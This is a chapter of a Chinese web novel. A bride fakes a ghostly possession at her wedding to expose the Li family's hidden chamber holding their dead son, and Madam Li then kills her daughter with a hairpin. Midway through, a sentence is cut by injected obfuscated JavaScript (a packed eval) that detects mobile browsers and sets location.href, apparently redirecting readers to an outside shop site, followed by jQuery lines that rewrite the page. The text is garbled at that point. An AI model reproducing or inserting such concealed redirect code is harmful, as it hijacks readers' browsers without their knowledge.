那厢正陷入混乱中,这厢宋枝枝突然五官歪斜,以一种奇异扭曲的方式抽搐着,不过一瞬便呆立原地,双臂自然垂落,脊背微勾,头颅低垂,红盖头从宋枝枝脑袋上滑落,任旁人如何拉扯,也挪不动半分,
“吉,吉祥,”林嬷嬷默默回退几步,指使吉祥,“还愣着干什么,把红盖头给姑娘盖上,莫……莫要误了吉时……”
“姑……姑娘……”吉祥试探着伸手拉她,宋枝枝却没头没脑的吐出一句,“好冷,母亲,孩儿好冷……”
“姑……姑娘?”吉祥回头看了眼林嬷嬷,众人早已退开,却仍直勾勾看着她,吉祥咽了咽口水,壮着胆子蹲下身捡起地上的红盖头,就在此时宋枝枝却突然俯身贴近吉祥,吉祥感到一阵寒风袭来,一回头,红盖头落地,吉祥尖叫出声,“鬼……鬼啊啊啊啊啊。”
宋枝枝缓缓直起身子,露出她惨白如纸,七窍流血,没有半分活人气的脸,声音幽怨,如怨如诉,喃喃着,“娘,我好冷……”
“娘……”
县丞这厢才安抚好众人,下一瞬冷不丁听到这凄厉尖叫,更是汗毛倒竖,后背发凉,他们往这边看来,却见那新人面色灰白,如弱柳扶风,摇晃摆荡着一步步往这边来。
众人缩成一团,三三两两的互相搂抱着对方壮胆,那还管什么优雅得体,他们均看向李府三人,“大……大人,这这这……”
“哼,青天白日,装神弄鬼,”李夫人猛拍桌面,蹭一下站起,冷哼一声,快步贴近宋枝枝,“啪,”狠狠给了宋枝枝一巴掌,宋枝枝似是没有痛觉,仍旧目光呆滞,她抓着李夫人的手往自己脸上贴,眼中满是孺慕之情,“娘,言儿好想您……”
“娘,地府好冷,那判官说我李家恶事做尽,要打我如那十八层地狱呢?”
“娘……”
“呜呜呜呜呜呜呜……”宋枝枝突然哭起来,那哭声似有若无,哀怨婉转,凄厉悲凉,她猛地抱住李夫人,在李夫人耳边嘶嘶出气,如鬼魅般幽幽出声,“娘,为何李家犯了错,要我受罚,今日,您便下那地狱来陪我吧!”宋枝枝低低笑了起来,李夫人瞳孔紧缩,几乎站不住脚,但不过须臾便稳住心神,她喊到,“林嬷嬷,姑娘犯了癔症,快扶她下去休息!”
“众位,实在抱歉,此女时常发病,本已好了许多,不知今日缘何病发,扰了大家雅兴。”
“我家闺女何时有的癔病,我怎不知,”杏花村众人趁爆炸时混入府内,好不容易才找到此处,见宋枝枝被折磨成这般模样,均不忍直视,暗自痛心,“你们李家害了我儿子,还要害我闺女吗!”秦汉生痛心疾首,字字泣血,他走到宋枝枝跟前,一把推开李夫人,李夫人狼狈倒地,众人连忙上前将其扶起,
“枝枝,”秦伯安慰宋枝枝,全然不怕她那血迹斑斑的模样,“你不要怕,想说什么,大声说,我们给你撑腰。”
“北院……”
“书房……”
“歌声……”
“暗室……”宋枝枝呐呐出声,确是神识不清的样子。
“放肆!!!”听得此言,县丞神色大变,他几步走到李夫人跟前,两指并拢,指着秦汉生,“你等刁民私闯民宅,该当何罪,还不速速退去,本县丞或可饶你们一命!”
“罪不罪的今日也闯了,正好十里八乡有头有脸的人物都在,不若大家一起去那北院看看,看看到底是我等有罪……”秦汉生看向县丞,“还是你等……心中有鬼!!!”
“对啊,一般人家都申时婚配,哪儿有午时成婚的,这不合礼法啊……”
“我跟你们说,这午时成婚可有说法……”
“哦,速速说来!”
……眼见场面越发不受控制,县丞大喝,
“我乃朝廷命官,岂是你等可质疑的,来人,”县丞大手一挥,十几个捕快从县丞身后冒出,将闹事几人团团围住,“此人私闯民宅,顶撞本官,速速将此人抓捕归案。”
“对,爹爹,把这些个贱民都抓起来,”李夫人抱着县丞胳膊,恶狠狠到,“好好伺候!”
秦汉生牢牢护住宋枝枝,捕快们合围而来,胳膊肘哪儿拧得过大腿,蚍蜉焉能撼树,杏花村众人很快被押解到一边,众人见此情形,风向一转开始吹捧三人,正在三人洋洋得意时,一男人却跌跌撞撞跑进来,大呼,“老爷夫人,不好了,北院炸了。”
我的言儿!!!
李夫人听得此话大惊失色,踉跄往北院跑去,却被县丞一把拉住,县丞冲她摇头,悄声说道,“不能让他们看见。”
“爹,”李夫人惊慌失措,摇晃着县丞的胳膊,满面泪水,满脸祈求。
我的言儿……
言儿……
“众位众位,应是存放烟花爆竹的地库不慎走火,众位不必担心,吃好喝好便是,李峰,你去看看,是怎么回事,万万不可再出差池!”县丞吩咐着,李老爷正欲离开,一小厮踉跄跑来,来人正是秦淮安,
“不好了,北院闹鬼了!!!”
秦淮安避开秦汉生目光,继续道,“那北院,爆炸后不知为何传来……传来女子呜咽声,凄凄切切,好不瘆人。”
“老爷夫人,这……怕是有邪祟作祟,阴魂不散呢?”
“闭嘴,”李夫人斥道,“你个贱奴,这哪儿有你说话的份儿!”
宋枝枝听得此言,又双眼翻白抽搐起来,不一会就好似恢复神志般惊讶看着众人,“这是哪里,我为何在这里,发生什么事了?”
“歌声,对,”宋枝枝像是想起什么,猛地抓住李夫人胳膊,“母亲,我听到女子幽怨歌声,就从那边传来!”宋枝枝抬手指向李夫人藏尸地。
“休要胡言!”县丞挡住李夫人,“来人,少奶奶受惊,扶少奶奶下去休息。”
“不要,”宋枝枝推开来人,哀声道,“枝枝虽还未拜天地高堂,可枝枝自认是李家一份子,相公本记忆身体不好,若真是邪祟作祟,还是速速驱赶的好啊!”
众人早已苦这父女两剥削久矣,若李府真有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027473|193006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么见不得人的勾当,不如……众人你看看我,我看看你,皆附和起来,
“是啊,李夫人,县丞,少夫人说得在理,”
“是啊……”
“大家跟我一起去,我倒要看看,是谁敢害我夫君!”
众人均夸赞宋枝枝高义,跟着宋枝枝一路向前,
“诶,众位,众位,”县丞急了,李夫人早已是六神无主,竟也加入了人群,她的言儿,言儿……
“县丞缘何一直阻拦大家,莫非……这其中真有隐情?”
“是啊,从刚才开始就一直阻挠少奶奶说话……”
“说的是呢,毕竟也是为了公子好啊!”
面对众人质疑,县丞竟一时无话。
众人随宋枝枝来到北院,果然听见女子呜咽声,似哀似凄,断断续续,令人发毛。
宋枝枝心中大定,哎呀,系统的东西就是好用,这莲花蜡烛灯1积分一个,额外花10积分就能换歌,实乃宫斗宅斗,居家旅行必备之物,她到现在都还记得自己10岁生日时被莲花蜡烛灯支配的恐惧,当时过完生日她把这等丢进楼下垃圾桶,此灯断断续续唱了5日,大晚上的,要多惊悚有多惊悚,从此以后她再也不买这玩意了。
没想到今天有此妙用,宋枝枝听着四周叽叽喳喳一刻不休的生日快乐歌,又听得这北院她为李家特定的丧曲,带领众人进入书房,一惊一乍的扭捏道,“啊,我怎么会知道这里有机关?”
“我怎么会知道这里有暗室?”
“我怎么会知道这里有隔间?莫非有人指引我……”
随着隧道门缓缓打开,县丞一屁股坐在地上,李夫人疯了似的扑到人前,挡住入口,“不许看!你们都不许看!”
李夫人面若癫狂,发髻散乱,趔趄着扑到李公子尸首旁,恶毒的目光扫过众人,“都怪你们,都怪你们!!!我的言儿生气了!你们这些贱民,你这个毒妇,你该为我儿祭天,保他下辈子荣华富贵,一生安宁!”
“都得死哈哈哈哈哈哈,”李夫人癫狂大叫着,手掌不知是触碰到什么机关,整个石室“哗哗”振动起来,她仰天大笑,“都得为我儿陪葬哈哈哈哈!”
“儿啊,黄泉路上,你不孤独,丫鬟小厮取之不尽,用之不竭啊哈哈哈哈哈哈哈。”
“娘,”李二小姐不可置信看着病床上兄长的尸首,小声呼唤母亲,“娘,你还好吗?”
“嫣然,快来,”听到李二小姐的声音,李夫人好似神志回笼,她慈爱的看着李二小姐,“来娘身边……”
李二小姐当真踱步向前,坐到李夫人身边,“嫣然乖,”李夫人抚摸着李二小姐的头,突然拔出头上簪子狠狠插入李二小姐颈中,顿时血流如注,李二小姐挣扎几番,很快便没了动静,只是双目圆睁,似乎死不瞑目。
李夫人抬手轻轻合上李二小姐双目,轻声哼着儿歌,道,“别怕,别怕,咱们一家人很快就会团聚……”
“疯子!”
“真是疯了!”